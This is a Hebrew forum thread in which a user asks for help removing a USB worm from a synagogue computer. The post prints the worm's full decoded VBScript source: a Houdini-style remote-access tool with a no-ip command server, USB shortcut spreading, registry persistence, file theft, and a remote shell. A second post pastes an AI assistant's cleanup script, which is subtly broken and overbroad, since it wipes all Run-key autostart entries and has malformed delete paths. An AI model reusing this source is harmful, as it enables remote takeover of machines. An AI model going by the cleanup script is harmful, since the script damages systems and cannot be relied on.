                                    למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                    ואולי אפילו גרסה בתשלום אם זה מתאפשר

                                    סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                                    cfopuserC תגובה 1 תגובה אחרונה
                                    0
                                    • כ כככככ

                                      @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      רנדומלי
                                      למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                      ואולי אפילו גרסה בתשלום אם זה מתאפשר

                                      סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                                      cfopuserC מנותק
                                      cfopuserC מנותק
                                      cfopuser
                                      כתב נערך לאחרונה על ידי cfopuser
                                      #34

                                      @כככככ anti virus פרוץ אתה לא רואה את הסתירה פה?

                                      יש מקורות אמינים לתוכנות פרוצות אבל עדיף להשאר בטוח ביחוד בדברים כאלו.

                                      תגובה 1 תגובה אחרונה
                                      1
                                      • ר רנדומלי

                                        בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                        cmd /c hrxxryydxo.vbs && start explorer [file name]
                                        

                                        הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                        תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                        לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                        z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                        

                                        בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                        לאחר פיענוח הקידוד התקבל הקוד הבא:
                                        אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                        e
                                        '<[ recoder : houdini (c) skype : houdini-fx ]>
                                        
                                        '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                        
                                        host = "khattab.no-ip.biz"
                                        port = 5550
                                        installdir = "%temp%"
                                        lnkfile = true
                                        lnkfolder = true
                                        
                                        '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                        
                                        dim shellobj 
                                        set shellobj = wscript.createobject("wscript.shell")
                                        dim filesystemobj
                                        set filesystemobj = createobject("scripting.filesystemobject")
                                        dim httpobj
                                        set httpobj = createobject("msxml2.xmlhttp")
                                        
                                        '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                        
                                        installname = wscript.scriptname
                                        startup = shellobj.specialfolders ("startup") & "\"
                                        installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                        if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                        spliter = "<" & "|" & ">"
                                        sleep = 5000 
                                        dim response
                                        dim cmd
                                        dim param
                                        info = ""
                                        usbspreading = ""
                                        startdate = ""
                                        dim oneonce
                                        
                                        '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                        on error resume next
                                        
                                        instance
                                        while true
                                        
                                        install
                                        
                                        response = ""
                                        response = post ("is-ready","")
                                        cmd = split (response,spliter)
                                        select case cmd (0)
                                        case "excecute"
                                              param = cmd (1)
                                              execute param
                                        case "update"
                                              param = cmd (1)
                                              oneonce.close
                                              set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                              oneonce.write param
                                              oneonce.close
                                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                              wscript.quit 
                                        case "uninstall"
                                              uninstall
                                        case "send"
                                              download cmd (1),cmd (2)
                                        case "site-send"
                                              sitedownloader cmd (1),cmd (2)
                                        case "recv"
                                              param = cmd (1)
                                              upload (param)
                                        case  "enum-driver"
                                              post "is-enum-driver",enumdriver  
                                        case  "enum-faf"
                                              param = cmd (1)
                                              post "is-enum-faf",enumfaf (param)
                                        case  "enum-process"
                                              post "is-enum-process",enumprocess   
                                        case  "cmd-shell"
                                              param = cmd (1)
                                              post "is-cmd-shell",cmdshell (param)  
                                        case  "delete"
                                              param = cmd (1)
                                              deletefaf (param) 
                                        case  "exit-process"
                                              param = cmd (1)
                                              exitprocess (param) 
                                        case  "sleep"
                                              param = cmd (1)
                                              sleep = eval (param)        
                                        end select
                                        
                                        wscript.sleep sleep
                                        
                                        wend
                                        
                                        sub install
                                        on error resume next
                                        dim lnkobj
                                        dim filename
                                        dim foldername
                                        dim fileicon
                                        dim foldericon
                                        
                                        upstart
                                        for each drive in filesystemobj.drives
                                        
                                        if  drive.isready = true then
                                        if  drive.freespace  > 0 then
                                        if  drive.drivetype  = 1 then
                                            filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                            if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                                filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                            end if
                                            for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                                if not lnkfile then exit for
                                                if  instr (file.name,".") then
                                                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                        file.attributes = 2+4
                                                        if  ucase (file.name) <> ucase (installname) then
                                                            filename = split(file.name,".")
                                                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                            lnkobj.windowstyle = 7
                                                            lnkobj.targetpath = "cmd.exe"
                                                            lnkobj.workingdirectory = ""
                                                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                            if  instr (fileicon,",") = 0 then
                                                                lnkobj.iconlocation = file.path
                                                            else 
                                                                lnkobj.iconlocation = fileicon
                                                            end if
                                                            lnkobj.save()
                                                        end if
                                                    end if
                                                end if
                                            next
                                            for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                                if not lnkfolder then exit for
                                                folder.attributes = 2+4
                                                foldername = folder.name
                                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                                lnkobj.windowstyle = 7
                                                lnkobj.targetpath = "cmd.exe"
                                                lnkobj.workingdirectory = ""
                                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                                if  instr (foldericon,",") = 0 then
                                                    lnkobj.iconlocation = folder.path
                                                else 
                                                    lnkobj.iconlocation = foldericon
                                                end if
                                                lnkobj.save()
                                            next
                                        end If
                                        end If
                                        end if
                                        next
                                        err.clear
                                        end sub
                                        
                                        sub uninstall
                                        on error resume next
                                        dim filename
                                        dim foldername
                                        
                                        shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                        shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                        filesystemobj.deletefile startup & installname ,true
                                        filesystemobj.deletefile wscript.scriptfullname ,true
                                        
                                        for  each drive in filesystemobj.drives
                                        if  drive.isready = true then
                                        if  drive.freespace  > 0 then
                                        if  drive.drivetype  = 1 then
                                            for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                                 on error resume next
                                                 if  instr (file.name,".") then
                                                     if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                         file.attributes = 0
                                                         if  ucase (file.name) <> ucase (installname) then
                                                             filename = split(file.name,".")
                                                             filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                         else
                                                             filesystemobj.deletefile (drive.path & "\" & file.name)
                                                         end If
                                                     else
                                                         filesystemobj.deletefile (file.path) 
                                                     end if
                                                 end if
                                             next
                                             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                                 folder.attributes = 0
                                             next
                                        end if
                                        end if
                                        end if
                                        next
                                        wscript.quit
                                        end sub
                                        
                                        function post (cmd ,param)
                                        
                                        post = param
                                        httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                        httpobj.setrequestheader "user-agent:",information
                                        httpobj.send param
                                        post = httpobj.responsetext
                                        end function
                                        
                                        function information
                                        on error resume next
                                        if  inf = "" then
                                            inf = hwid & spliter 
                                            inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                            inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                        
                                            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                            set os = root.execquery ("select * from win32_operatingsystem")
                                            for each osinfo in os
                                               inf = inf & osinfo.caption & spliter  
                                               exit for
                                            next
                                            inf = inf & "plus" & spliter
                                            inf = inf & security & spliter
                                            inf = inf & usbspreading
                                            information = inf  
                                        else
                                            information = inf
                                        end if
                                        end function
                                        
                                        sub upstart ()
                                        on error resume Next
                                        
                                        shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                        filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                        filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                        
                                        end sub
                                        
                                        function hwid
                                        on error resume next
                                        
                                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                        set disks = root.execquery ("select * from win32_logicaldisk")
                                        for each disk in disks
                                            if  disk.volumeserialnumber <> "" then
                                                hwid = disk.volumeserialnumber
                                                exit for
                                            end if
                                        next
                                        end function
                                        
                                        function security 
                                        on error resume next
                                        
                                        security = ""
                                        
                                        set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                        set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                        for each objitem in colitems
                                            versionstr = split (objitem.version,".")
                                        next
                                        versionstr = split (colitems.version,".")
                                        osversion = versionstr (0) & "."
                                        for  x = 1 to ubound (versionstr)
                                             osversion = osversion &  versionstr (i)
                                        next
                                        osversion = eval (osversion)
                                        if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                        
                                        set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                        Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                        
                                        for each objantivirus in colantivirus
                                            security  = security  & objantivirus.displayname & " ."
                                        next
                                        if security  = "" then security  = "nan-av"
                                        end function
                                        
                                        function instance
                                        on error resume next
                                        
                                        usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                        if usbspreading = "" then
                                           if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                              usbspreading = "true - " & date
                                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                           else
                                              usbspreading = "false - " & date
                                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                        
                                           end if
                                        end If
                                        
                                        
                                        upstart
                                        set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                        set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                        if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                            wscript.quit 
                                        end If
                                        err.clear
                                        set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                        if  err.number > 0 then wscript.quit
                                        end function
                                        
                                        sub sitedownloader (fileurl,filename)
                                        
                                        strlink = fileurl
                                        strsaveto = installdir & filename
                                        set objhttpdownload = createobject("msxml2.xmlhttp" )
                                        objhttpdownload.open "get", strlink, false
                                        objhttpdownload.send
                                        
                                        set objfsodownload = createobject ("scripting.filesystemobject")
                                        if  objfsodownload.fileexists (strsaveto) then
                                            objfsodownload.deletefile (strsaveto)
                                        end if
                                         
                                        if objhttpdownload.status = 200 then
                                           dim  objstreamdownload
                                           set  objstreamdownload = createobject("adodb.stream")
                                           with objstreamdownload
                                                .type = 1 
                                                .open
                                                .write objhttpdownload.responsebody
                                                .savetofile strsaveto
                                                .close
                                           end with
                                           set objstreamdownload = nothing
                                        end if
                                        if objfsodownload.fileexists(strsaveto) then
                                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                        end if 
                                        end sub
                                        
                                        sub download (fileurl,filedir)
                                        
                                        if filedir = "" then 
                                           filedir = installdir
                                        end if
                                        
                                        strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                        set objhttpdownload = createobject("msxml2.xmlhttp")
                                        objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                        objhttpdownload.send ""
                                             
                                        set objfsodownload = createobject ("scripting.filesystemobject")
                                        if  objfsodownload.fileexists (strsaveto) then
                                            objfsodownload.deletefile (strsaveto)
                                        end if
                                        if  objhttpdownload.status = 200 then
                                            dim  objstreamdownload
                                            set  objstreamdownload = createobject("adodb.stream")
                                            with objstreamdownload 
                                                 .type = 1 
                                                 .open
                                                 .write objhttpdownload.responsebody
                                                 .savetofile strsaveto
                                                 .close
                                            end with
                                            set objstreamdownload  = nothing
                                        end if
                                        if objfsodownload.fileexists(strsaveto) then
                                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                        end if 
                                        end sub
                                        
                                        function upload (fileurl)
                                        
                                        dim  httpobj,objstreamuploade,buffer
                                        set  objstreamuploade = createobject("adodb.stream")
                                        with objstreamuploade 
                                             .type = 1 
                                             .open
                                             .loadfromfile fileurl
                                             buffer = .read
                                             .close
                                        end with
                                        set objstreamdownload = nothing
                                        set httpobj = createobject("msxml2.xmlhttp")
                                        httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                        httpobj.send buffer
                                        end function
                                        
                                        function enumdriver ()
                                        
                                        for  each drive in filesystemobj.drives
                                        if   drive.isready = true then
                                             enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                        end if
                                        next
                                        end Function
                                        
                                        function enumfaf (enumdir)
                                        
                                        enumfaf = enumdir & spliter
                                        for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                             enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                        next
                                        
                                        for  each file in filesystemobj.getfolder (enumdir).files
                                             enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                        
                                        next
                                        end function
                                        
                                        function enumprocess ()
                                        
                                        on error resume next
                                        
                                        set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                        set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                        
                                        dim objitem
                                        for each objitem in colitems
                                            enumprocess = enumprocess & objitem.name & "|"
                                            enumprocess = enumprocess & objitem.processid & "|"
                                            enumprocess = enumprocess & objitem.executablepath & spliter
                                        next
                                        end function
                                        
                                        sub exitprocess (pid)
                                        on error resume next
                                        
                                        shellobj.run "taskkill /F /T /PID " & pid,7,true
                                        end sub
                                        
                                        sub deletefaf (url)
                                        on error resume next
                                        
                                        filesystemobj.deletefile url
                                        filesystemobj.deletefolder url
                                        
                                        end sub
                                        
                                        function cmdshell (cmd)
                                        
                                        dim httpobj,oexec,readallfromany
                                        
                                        set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                        if not oexec.stdout.atendofstream then
                                           readallfromany = oexec.stdout.readall
                                        elseif not oexec.stderr.atendofstream then
                                           readallfromany = oexec.stderr.readall
                                        else 
                                           readallfromany = ""
                                        end if
                                        
                                        cmdshell = readallfromany
                                        end function
                                        
                                        ה מנותק
                                        ה מנותק
                                        היפ הופ
                                        כתב נערך לאחרונה על ידי
                                        #35

                                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                        גם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                        אם זה עדיין רלוונטי אני יכול לדאוג לך לכל מיני בינות....

                                        תגובה 1 תגובה אחרונה
                                        0
                                        • א אור אור אור

                                          וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:

                                          צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.

                                          הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.

                                          הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:

                                          1. היכן הוא מתחבא? (לפי הקוד שצירפת)
                                            הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:

                                          תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.

                                          תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.

                                          רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.

                                          בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.

                                          1. שלבי הניקוי (בצע לפי הסדר)
                                            כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:

                                          א. עצירת התהליך
                                          לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.

                                          חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.

                                          לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.

                                          ב. מחיקה מהרישום (Registry)
                                          לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                                          נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

                                          חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.

                                          בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.

                                          ג. מחיקת הקבצים הפיזיים
                                          פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.

                                          הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.

                                          1. תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
                                            אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.

                                          חבר את הכונן הנגוע.

                                          פתח את "שורת הפקודה" (CMD) כמנהל.

                                          הקלד את האות של הכונן (למשל :F) ולחץ Enter.

                                          הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
                                          attrib -h -r -s /s /d .

                                          כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.

                                          עצה קטנה ל"אוצר החכמה" בבית הכנסת:
                                          כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).

                                          האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?

                                          כן

                                          כן

                                          ‫Gemini אמר
                                          הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).

                                          הוראות ביצוע:
                                          העתק את הקוד למטה.

                                          פתח את "פנקס רשימות" (Notepad).

                                          הדבק את הקוד בתוכו.

                                          שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).

                                          לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).

                                          הקוד לניקוי המחשב:
                                          קטע קוד
                                          @echo off
                                          color 0A
                                          echo Stopping Virus Process...
                                          taskkill /F /IM wscript.exe /T

                                          echo.
                                          echo Deleting Virus Files...
                                          del /F /Q "%temp%*.vbs"
                                          del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"

                                          echo.
                                          echo Cleaning Registry Keys...
                                          reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
                                          reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /f

                                          echo.
                                          echo Restoration Complete.
                                          echo Please check your USB drives separately using the 'attrib' command.
                                          pause
                                          מה הקוד הזה עושה בפועל?
                                          taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).

                                          del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.

                                          reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.

                                          [!CAUTION]
                                          שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.

                                          טיפול בכונני ה-USB (הדיסק-און-קי):
                                          אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
                                          attrib -h -r -s /s /d X:*.*
                                          (החלף את האות X באות של הכונן שלך).

                                          זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.

                                          האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?

                                          אמרת
                                          כן

                                          ‫Gemini אמר
                                          כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.

                                          הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:

                                          אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                          בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                          צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                          לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                          בחר ב-"פנקס רשימות" (Notepad).

                                          חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                          לחץ על אישור.

                                          התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                          אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
                                          זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.

                                          לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                                          נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
                                          HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

                                          בצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.

                                          קרא לערך החדש בשם: Enabled.

                                          וודא שהערך שלו הוא 0 (זה ברירת המחדל).

                                          סגור את הרישום והפעל מחדש את המחשב.

                                          התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.

                                          טיפ קטן לגבאי / אחראי המחשב:
                                          מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.

                                          [!NOTE]
                                          אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.

                                          ה מנותק
                                          ה מנותק
                                          המלאך
                                          כתב נערך לאחרונה על ידי המלאך
                                          #36

                                          @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                          אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                          בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                          צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                          לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                          בחר ב-"פנקס רשימות" (Notepad).

                                          חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                          לחץ על אישור.

                                          התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                          @cfopuser הדרך הזו לא מסוכנת?
                                          כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
                                          או שיריץ דרך הפאואר שיל, הcmd?

                                          cfopuserC תגובה 1 תגובה אחרונה
                                          0

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר